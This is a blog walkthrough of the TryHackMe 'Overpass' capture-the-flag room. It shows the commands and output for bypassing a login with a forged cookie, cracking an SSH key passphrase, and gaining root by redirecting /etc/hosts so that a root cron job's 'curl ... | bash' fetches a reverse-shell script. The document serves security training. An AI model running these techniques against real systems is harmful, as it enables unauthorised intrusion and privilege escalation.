11 September 2020 / TRYHACKME, CTF Overpass Write Up Overview Overpass is an easy room from TryHackMe with the description: What happens when a group of broke Computer Science students try to make a password manager? Obviously a perfect commercial success! The room is part of the Overpass series, over the next few weeks I plan to provide a write up for each series machine. We have two tasks to complete, finding both the user and root flag. Typical CTF style room. Also a TryHackMe subscription code was hidden in the box, the first person to find and activate got a one month subscription for free. This has long been claimed however we will also find the code as part of the write up. Nmap TryHackMe will assign a dynamic IP as part of the deployment, the IP I will be targeting is ‘10.10.70.101’. I started by doing an nmap scan to check what ports are open. ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $sudo nmap -sC -sV -oA nmap/initial 10.10.70.101 [sudo] password for daz: Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-19 10:47 BST Nmap scan report for 10.10.70.101 Host is up (0.039s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA) | 256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA) |_ 256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519) 80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Overpass Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.76 seconds Enumeration Only 2 ports open SSH and HTTP. I will start with HTTP as SSH as a smaller attack surface however the SSH banner does indicate its a Ubuntu machine. Also interestingly the HTTP banner is showing Golang net. Go is a open source programming language by Google. First I will take a look at the webpage. Clicking around its a basic webpage for a secure password manager. On the ‘About Us’ page I found a list of usernames: Ninja - Lead Developer Pars - Shibe Enthusiast and Emotional Support Animal Manager Szymex - Head Of Security Bee - Chief Drinking Water Coordinator MuirlandOracle - Cryptography Consultant These may be helpful later. Also a download page is available to download the software. Ive downloaded a copy of the Linux binary, the source code and the build script. Before I look at them I ran a gobuster on the webpages to check for any other directories. ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $gobuster dir -u http://10.10.70.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.70.101 [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/09/19 10:54:56 Starting gobuster =============================================================== /img (Status: 301) /downloads (Status: 301) /aboutus (Status: 301) /admin (Status: 301) /css (Status: 301) /admin is new. This brings me to a simple login page. I tried various combinations of basic logins, admin/admin, admin/password etc but nothing worked. So I had a look at the source code for the admin page. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Overpass</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css"> <link rel="stylesheet" type="text/css" media="screen" href="/css/login.css"> <link rel="icon" type="image/png" href="/img/overpass.png" /> <script src="/main.js"></script> <script src="/login.js"></script> <script src="/cookie.js"></script> </head> <body onload="onLoad()"> <nav> <img class="logo" src="/img/overpass.svg" alt="Overpass logo"> <h2 class="navTitle"><a href="/">Overpass</a></h2> <a class="current" href="/aboutus">About Us</a> <a href="/downloads">Downloads</a> </nav> <div class="content"> <h1>Administrator area</h1> <p>Please log in to access this content</p> <div> <h3 class="formTitle">Overpass administrator login</h1> </div> <form id="loginForm"> <div class="formElem"><label for="username">Username:</label><input id="username" name="username" required></div> <div class="formElem"><label for="password">Password:</label><input id="password" name="password" type="password" required></div> <button>Login</button> </form> <div id="loginStatus"></div> </div> </body> </html> /login.js looks interesting. async function postData(url = '', data = {}) { // Default options are marked with * const response = await fetch(url, { method: 'POST', // *GET, POST, PUT, DELETE, etc. cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached credentials: 'same-origin', // include, *same-origin, omit headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, redirect: 'follow', // manual, *follow, error referrerPolicy: 'no-referrer', // no-referrer, *client body: encodeFormData(data) // body data type must match "Content-Type" header }); return response; // We don't always want JSON back } const encodeFormData = (data) => { return Object.keys(data) .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key])) .join('&'); } function onLoad() { document.querySelector("#loginForm").addEventListener("submit", function (event) { //on pressing enter event.preventDefault() login() }); } async function login() { const usernameBox = document.querySelector("#username"); const passwordBox = document.querySelector("#password"); const loginStatus = document.querySelector("#loginStatus"); loginStatus.textContent = "" const creds = { username: usernameBox.value, password: passwordBox.value } const response = await postData("/api/login", creds) const statusOrCookie = await response.text() if (statusOrCookie === "Incorrect credentials") { loginStatus.textContent = "Incorrect Credentials" passwordBox.value="" } else { Cookies.set("SessionToken",statusOrCookie) window.location = "/admin" } } Looking at the login function it appears the script will send a post request to /api/login and wait for a response. If the response equals “Incorrect credentials” the text is displayed to the user and the password field is reset to blank. However if the response does not equal “Incorrect credentials” a cookie is set. I wonder if I can set the cooke to any value and it will allow me to log in? Foothold First I clear the data and cookies from my browser. Then using a cookie editor I add the session token with a random value. Now when I refresh the page I’m logged in and find James’s SSH key. The key is encrypted so if I try and use it to log in it wont work unless I provide a password. I can use John to first get the hash and then crack to get the password. I coped the key to a text file called ‘key’, than ran ssh2john to get the hash. Then used john to crack it. ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $/usr/share/john/ssh2john.py key > hash ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $john --format=ssh hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist Proceeding with incremental:ASCII (key) Ive removed the password from the output but the password was cracked and I can now use that to log in. First I chmod 600 the key file so I can use it to log in. ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $chmod 600 key ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $ssh -i key james@10.10.70.101 Enter passphrase for key 'key': Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat Sep 19 10:39:34 UTC 2020 System load: 0.0 Processes: 88 Usage of /: 22.4% of 18.57GB Users logged in: 0 Memory usage: 11% IP address for eth0: 10.10.70.101 Swap usage: 0% 47 packages can be updated. 0 updates are security updates. Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1 james@overpass-prod:~$ Im in! I can now grab the user.txt flag. james@overpass-prod:~$ ls todo.txt user.txt james@overpass-prod:~$ cat user.txt thm{65c1aaf0005 james@overpass-prod:~$ Priv Esc Now to get root, when I grabbed the user.txt file I noticed a todo.txt file. james@overpass-prod:~$ cat todo.txt To Do: > Update Overpass' Encryption, Muirland has been complaining that it's not strong enough > Write down my password somewhere on a sticky note so that I don't forget it. Wait, we make a password manager. Why don't I just use that? > Test Overpass for macOS, it builds fine but I'm not sure it actually works > Ask Paradox how he got the automated build script working and where the builds go. They're not updating on the website james@overpass-prod:~$ I will also run linpeas to see if anything jumps out. Scrolling through the output I find a cron job running every minute: * * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash I doubt overpass.thm is a legitmate url so I checked the local host file. james@overpass-prod:~$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 overpass-prod 127.0.0.1 overpass.thm # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters james@overpass-prod:~$ So as root the cronjob is downloading the build script and piping it to bash. This looks to be our path to root if I can manipulate it. james@overpass-prod:~$ ls -lah /etc/crontab -rw-r--r-- 1 root root 822 Jun 27 04:18 /etc/crontab james@overpass-prod:~$ james@overpass-prod:~$ ls -la /etc/hosts -rw-rw-rw- 1 root root 250 Jun 27 02:39 /etc/hosts james@overpass-prod:~$ I don’t have permissions to change the cron job however I can change the hosts file and change the IP to point to my machine. I create the /downloads/src folders and a text file called buildscript.sh with the bash one liner found on pentestmonkey. I started a python webserver on port 80 and a netcat listener on port 8080 and waited for the cron job to run. ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $nc -nvlp 8080 listening on [any] 8080 ... connect to [10.8.21.217] from (UNKNOWN) [10.10.70.101] 39612 bash: cannot set terminal process group (21767): Inappropriate ioctl for device bash: no job control in this shell root@overpass-prod:~# I have root! Now to grab the flag. root@overpass-prod:~# cat root.txt cat root.txt thm{7f336f8c359 root@overpass-prod:~# The hidden code During our enumeration we were able to download a Linux binary and the source code of the password manager however they were not used to root on the machine. Lets take a look at them now. ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $cat buildscript.sh GOOS=linux /usr/local/go/bin/go build -o ~/builds/overpassLinux ~/src/overpass.go GOOS=windows /usr/local/go/bin/go build -o ~/builds/overpassWindows.exe ~/src/overpass.go GOOS=darwin /usr/local/go/bin/go build -o ~/builds/overpassMacOS ~/src/overpass.go GOOS=freebsd /usr/local/go/bin/go build -o ~/builds/overpassFreeBSD ~/src/overpass.go GOOS=openbsd /usr/local/go/bin/go build -o ~/builds/overpassOpenBSD ~/src/overpass.go echo "$(date -R) Builds completed" >> /root/buildStatus The build script.sh is a very simple bash script to build the binaries. So I next ran the Linux binary to see what the binary did. ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $chmod +x overpassLinux ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $./overpassLinux open /home/daz/.overpass: no such file or directory Failed to open or read file Continuing with new password file. Welcome to Overpass Options: 1 Retrieve Password For Service 2 Set or Update Password For Service 3 Delete Password For Service 4 Retrieve All Passwords 5 Exit Choose an option: 4 ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $./overpassLinux open /home/daz/.overpass: no such file or directory Failed to open or read file Continuing with new password file. Welcome to Overpass Options: 1 Retrieve Password For Service 2 Set or Update Password For Service 3 Delete Password For Service 4 Retrieve All Passwords 5 Exit Choose an option: 2 Enter Service Name: test Enter new password: testing123 ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $./overpassLinux Welcome to Overpass Options: 1 Retrieve Password For Service 2 Set or Update Password For Service 3 Delete Password For Service 4 Retrieve All Passwords 5 Exit Choose an option: 4 test testing123 ┌─[daz@parrot]─[~/Documents/TryHackMe/Overpass] └──╼ $ When you run the binary you get 5 options but also an interesting message “open /home/daz/.overpass: no such file or directory” First I ran option 4 to see if any default values were included, but nothing was returned. So I then selected option 2, to set a password. Now when I ran the binary the message had gone and selecting option 4 displayed the values I had set. Next I decided to look at the source code to see what the program was doing. Not being that familiar with Go I scanned through to see what jumped out. //Encrypt the credentials and write them to a file. func saveCredsToFile(filepath string, passlist []passListEntry) string { file, err := os.OpenFile(filepath, os.O_TRUNC|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { fmt.Println(err.Error()) return err.Error() } defer file.Close() stringToWrite := rot47(credsToJSON(passlist)) if _, err := file.WriteString(stringToWrite); err != nil { fmt.Println(err.Error()) return err.Error() } return "Success" } I found the encrypt function, what jumped out was its using rot47 to encrypt the sting and is indeed saving it to a local file. When I ran linpeas I noticed a tryhackme account on the system, I wonder if that has a .overpass file in the home directory and if so can we decode it? root@overpass-prod:~# cat /etc/passwd | grep /bin/bash cat /etc/passwd | grep /bin/bash root:x:0:0:root:/root:/bin/bash tryhackme:x:1000:1000:tryhackme:/home/tryhackme:/bin/bash james:x:1001:1001:,,,:/home/james:/bin/bash root@overpass-prod:~# root@overpass-prod:~# cd /home/tryhackme cd /home/tryhackme root@overpass-prod:/home/tryhackme# ls -lah ls -lah total 7.8M drwx------ 6 tryhackme tryhackme 4.0K Jun 27 16:13 . drwxr-xr-x 4 root root 4.0K Jun 27 02:20 .. -rw-rw-r-- 1 tryhackme tryhackme 0 Jun 27 04:00 .bash_history -rw------- 1 tryhackme tryhackme 220 Apr 4 2018 .bash_logout -rw------- 1 tryhackme tryhackme 3.7K Apr 4 2018 .bashrc drwx------ 3 tryhackme tryhackme 4.0K Jun 27 02:35 .cache drwx------ 3 tryhackme tryhackme 4.0K Jun 27 02:15 .gnupg -rw------- 1 tryhackme tryhackme 56 Jun 27 04:35 .overpass -rw------- 1 tryhackme tryhackme 807 Apr 4 2018 .profile drwxrwx--- 4 tryhackme tryhackme 4.0K Jun 27 02:35 go drwx------ 6 tryhackme tryhackme 4.0K Jun 27 03:57 resources -rwxrwxr-x 1 tryhackme tryhackme 7.8M Jun 27 03:53 server root@overpass-prod:/home/tryhackme# cat .overpass cat .overpass ,LQ?2>6QiQ%CJw24<|6 $F3D4C:AE:@? r@56Q[QA2DDQiQ8>%sJ=QN. root@overpass-prod:/home/tryhackme# Using a online decoder, I found this by googling rot47 and its top result. Entering the rot47 string I get a result. As mentioned this code has been claimed but I wanted to show the steps on acquiring it. [{“name”:”TryHackMe Subscription Code”,”pass”:”gmTDyl”}] Thanks for reading! ============================================================ Any comments or feedback welcome! You can find me on twitter.